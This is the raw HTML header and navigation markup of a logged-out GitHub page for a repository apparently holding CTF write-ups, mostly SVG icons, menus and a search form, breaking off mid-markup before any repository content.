<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268424549" data-scoped-search-url="/gr4n173/CTF-WriteUp/search" data-owner-scoped-search-url="/users/gr4n173/search" data-unscoped-search-url="/search" data-turbo="false" action="/gr4n173/CTF-WriteUp/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="RGn3xdtamvZyr7aENMF/UvITfjRLhJeIf3Li+zi0UFBEpz2Asxr/hPgwESnwXTGuwNIWd9qXAcooTTt/J+fLIA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 